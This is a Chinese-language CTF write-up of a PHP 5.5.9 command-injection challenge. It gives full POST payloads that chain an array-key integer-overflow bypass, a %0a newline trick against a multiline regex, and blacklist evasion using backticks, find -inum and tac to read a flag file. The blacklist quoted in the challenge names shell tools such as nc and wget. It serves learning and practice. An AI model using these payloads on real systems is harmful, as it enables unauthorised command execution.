目录
题目场景
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
代码审计及绕过
通过php5.5版本的数组key溢出漏洞进行数组绕过
php的版本是5.5.9
通过post方式传递两个参数:stuff(数组)和num(其中的内容经过过滤之后会被system函数执行)

既要数组强等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根据上面的提示,只能是php5.5.9的版本漏洞了
根据php5.5.9的版本漏洞:
PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
我们可以利用PHP的数组下标的一个BUG,可以利用整型溢出:
https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/
构造payload
$stuff[0]!='admin',我们通过0x100000000(0x100000000转换成十进制4294967296)来进行溢出;进行POST传参
stuff[4294967296]=admin&stuff[]=user&num=123
换行符绕过正则跨行匹配
正则"/^\d+$/im",要求整个字符串都是数字,大小写不敏感,跨行检测
^和$ 匹配字符串开头和结尾
/d 匹配数字
/i 表示匹配的时候不区分大小写
/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als
黑名单绕过
/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i
黑名单,把常用的可以执行的代码命令都排除了
查看根目录下的文件ls /
因为cat被禁用了,所以用inode索引节点,ls -i /
使用`绕过单双引号过滤,读取flag
%0atac `find / -inum 18497049`